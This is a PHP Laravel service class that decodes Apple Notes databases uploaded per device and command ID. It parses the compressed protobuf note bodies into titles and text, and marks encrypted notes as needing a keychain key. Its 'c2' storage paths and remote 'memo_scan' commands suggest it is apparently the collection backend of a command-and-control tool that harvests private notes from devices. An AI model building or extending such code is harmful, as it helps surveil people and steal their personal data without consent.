<?php

namespace App\Services;

use App\Models\Device;
use Illuminate\Support\Facades\Storage;

/**
 * Decode an assembled Apple Notes NoteStore.sqlite dump into structured
 * note items [{title, body, native_id}] for IngestService::ingestNotes().
 *
 * memo_scan uploads NoteStore.sqlite + -wal + -shm + memo_scan.json per
 * command_id. Chunks are reassembled by DsResultStore before decode() runs.
 * Note bodies live in ZICNOTEDATA.ZDATA as gzip-compressed protobuf; we walk
 * outer.field2 -> Note.field3 -> Document.field2 for the visible text and
 * fall back to the ZSNIPPET column. Encrypted notes surface a placeholder.
 */
class DsMemoDecoder
{
    private const RESULT_BASE = 'c2/ds-results';

    /**
     * @return array{items: list<array{title:string,body:string,native_id:int|string|null}>, meta: array<string,mixed>}
     */
    public function decode(Device $device, string $commandId): array
    {
        $dir = self::RESULT_BASE.'/'.$device->device_id.'/'.$commandId;
        $disk = Storage::disk('local');
        $errors = [];
        $items = [];
        $notes = 0;
        $encrypted = 0;
        $dbPath = null;

        $manifestPath = $dir.'/memo_scan.json';
        if ($disk->exists($manifestPath)) {
            $manifest = json_decode((string) $disk->get($manifestPath), true);
            if (is_array($manifest)) {
                $dbPath = $manifest['db_path'] ?? null;
            }
        }

        $sqliteRel = $dir.'/NoteStore.sqlite';
        if (! $disk->exists($sqliteRel)) {
            return ['items' => [], 'meta' => $this->meta($device, $commandId, $dbPath, 0, 0, ['NoteStore.sqlite missing under '.$dir])];
        }

        $work = storage_path('app/c2/memo-work/'.$device->device_id.'/'.$commandId.'_'.uniqid());
        @mkdir($work, 0775, true);
        foreach (['NoteStore.sqlite', 'NoteStore.sqlite-wal', 'NoteStore.sqlite-shm'] as $f) {
            if ($disk->exists($dir.'/'.$f)) {
                file_put_contents($work.'/'.$f, (string) $disk->get($dir.'/'.$f));
            }
        }

        try {
            $pdo = new \PDO('sqlite:'.$work.'/NoteStore.sqlite', null, null, [
                \PDO::ATTR_ERRMODE => \PDO::ERRMODE_EXCEPTION,
                \PDO::ATTR_DEFAULT_FETCH_MODE => \PDO::FETCH_ASSOC,
            ]);
        } catch (\Throwable $e) {
            $this->cleanup($work);
            return ['items' => [], 'meta' => $this->meta($device, $commandId, $dbPath, 0, 0, ['open sqlite: '.$e->getMessage()])];
        }

        try {
            $noteEnt = $this->entityNumber($pdo, 'ICNote');
            if ($noteEnt === null) {
                $errors[] = 'ICNote entity not found in Z_PRIMARYKEY';
                return ['items' => [], 'meta' => $this->meta($device, $commandId, $dbPath, 0, 0, $errors)];
            }

            $rows = $pdo->prepare(
                'SELECT n.Z_PK AS pk, n.ZTITLE AS title, n.ZUSERTITLE AS user_title,'
                .' n.ZSNIPPET AS snippet,'
                .' nd.ZDATA AS zdata, nd.ZCRYPTOINITIALIZATIONVECTOR AS iv'
                .' FROM ZICCLOUDSYNCINGOBJECT n'
                .' LEFT JOIN ZICNOTEDATA nd ON nd.ZNOTE = n.Z_PK'
                .' WHERE n.Z_ENT = :ent ORDER BY n.Z_PK'
            );
            $rows->execute([':ent' => $noteEnt]);

            foreach ($rows as $row) {
                $notes++;
                $item = $this->decodeRow($row);
                if ($item === null) {
                    continue;
                }
                if (($item['_encrypted'] ?? false) === true) {
                    $encrypted++;
                }
                unset($item['_encrypted']);
                $items[] = $item;
            }
        } catch (\Throwable $e) {
            $errors[] = 'query: '.$e->getMessage();
        } finally {
            $pdo = null;
            $this->cleanup($work);
        }

        return ['items' => $items, 'meta' => $this->meta($device, $commandId, $dbPath, $notes, $encrypted, $errors)];
    }

    /** @param array<string,mixed> $row */
    private function decodeRow(array $row): ?array
    {
        $pk = $row['pk'] ?? null;
        $title = $this->str($row['title'] ?? null);
        $userTitle = $this->str($row['user_title'] ?? null);
        $snippet = $this->str($row['snippet'] ?? null);
        $iv = $row['iv'] ?? null;
        $zdata = $row['zdata'] ?? null;
        $nativeId = is_numeric($pk) ? (int) $pk : null;

        if ($iv !== null && $this->blobLen($iv) > 0) {
            $body = $snippet !== '' ? $snippet : '[加密备忘录 — 需 keychain 密钥]';
            $head = $userTitle !== '' ? $userTitle : $title;

            return ['title' => $head !== '' ? $head : $this->titleFromBody($body), 'body' => $body, 'native_id' => $nativeId, '_encrypted' => true];
        }

        $body = null;
        if ($zdata !== null && $this->blobLen($zdata) > 0) {
            $body = $this->extractBody((string) $zdata);
        }
        // A body that is only object-replacement chars (U+FFFC = embedded
        // table/attachment placeholder) carries no readable text. Fall back
        // to the ZSNIPPET column, which holds Apple's plaintext preview —
        // for a table-only note that's the cell values (e.g. "1 2 3 5").
        if ($body === null || ! $this->hasVisibleText($body)) {
            $body = $snippet;
        }
        $body = $body ?? '';
        $head = $userTitle !== '' ? $userTitle : $title;

        return ['title' => $head !== '' ? $head : $this->titleFromBody($body), 'body' => $body, 'native_id' => $nativeId];
    }

    private function extractBody(string $zdata): ?string
    {
        $decoded = @gzdecode($zdata);
        if ($decoded === false) {
            return null;
        }
        $note = $this->pbField($decoded, 2);
        if ($note === null) {
            return null;
        }
        $doc = $this->pbField($note, 3);
        if ($doc === null) {
            return null;
        }
        $body = $this->pbField($doc, 2);
        if ($body === null) {
            return null;
        }
        $body = str_replace(["\r\n", "\r"], "\n", $body);
        $body = preg_replace("/\n{3,}/", "\n\n", $body) ?? $body;

        return trim($body);
    }

    private function pbField(string $buf, int $field): ?string
    {
        $i = 0;
        $n = strlen($buf);
        while ($i < $n) {
            $tag = $this->varint($buf, $i, $i);
            if ($tag === null) {
                return null;
            }
            $fnum = $tag >> 3;
            $wtype = $tag & 7;
            if ($wtype === 0) {
                $this->varint($buf, $i, $i);
            } elseif ($wtype === 2) {
                $len = $this->varint($buf, $i, $i);
                if ($len === null || $len < 0 || $i + $len > $n) {
                    return null;
                }
                $chunk = substr($buf, $i, (int) $len);
                $i += (int) $len;
                if ($fnum === $field) {
                    return $chunk;
                }
            } elseif ($wtype === 5) {
                $i += 4;
            } elseif ($wtype === 1) {
                $i += 8;
            } else {
                return null;
            }
        }

        return null;
    }

    private function varint(string $buf, int $pos, int &$next): ?int
    {
        $val = 0;
        $shift = 0;
        $n = strlen($buf);
        while ($pos < $n) {
            $b = ord($buf[$pos++]);
            $val |= ($b & 0x7f) << $shift;
            if (($b & 0x80) === 0) {
                $next = $pos;
                return $val;
            }
            $shift += 7;
            if ($shift > 63) {
                return null;
            }
        }

        return null;
    }

    private function entityNumber(\PDO $pdo, string $name): ?int
    {
        try {
            $st = $pdo->prepare('SELECT Z_ENT FROM Z_PRIMARYKEY WHERE Z_NAME = :n LIMIT 1');
            $st->execute([':n' => $name]);
            $v = $st->fetchColumn();
            return $v === false || $v === null ? null : (int) $v;
        } catch (\Throwable $e) {
            return null;
        }
    }

    private function titleFromBody(string $body): string
    {
        $body = trim($body);
        if ($body === '') {
            return '';
        }
        $firstLine = preg_split('/\n+/', $body, 2)[0] ?? $body;
        return mb_substr(trim($firstLine), 0, 80);
    }

    /**
     * True when $s has any visible character besides object-replacement
     * (U+FFFC), replacement (U+FFFD) and whitespace.
     */
    private function hasVisibleText(string $s): bool
    {
        $stripped = preg_replace('/[\x{FFFC}\x{FFFD}\s]/u', '', $s) ?? '';

        return $stripped !== '';
    }

    private function str(mixed $v): string
    {
        return is_string($v) ? trim($v) : '';
    }

    private function blobLen(mixed $v): int
    {
        return is_string($v) ? strlen($v) : 0;
    }

    /** @param list<string> $errors */
    private function meta(Device $device, string $commandId, ?string $dbPath, int $notes, int $encrypted, array $errors): array
    {
        return [
            'device_key' => $device->device_id,
            'command_id' => $commandId,
            'db_path' => $dbPath,
            'notes' => $notes,
            'encrypted' => $encrypted,
            'errors' => $errors,
        ];
    }

    private function cleanup(string $work): void
    {
        if (! is_dir($work)) {
            return;
        }
        foreach (glob($work.'/*') ?: [] as $f) {
            @unlink($f);
        }
        @rmdir($work);
        @rmdir(dirname($work));
    }
}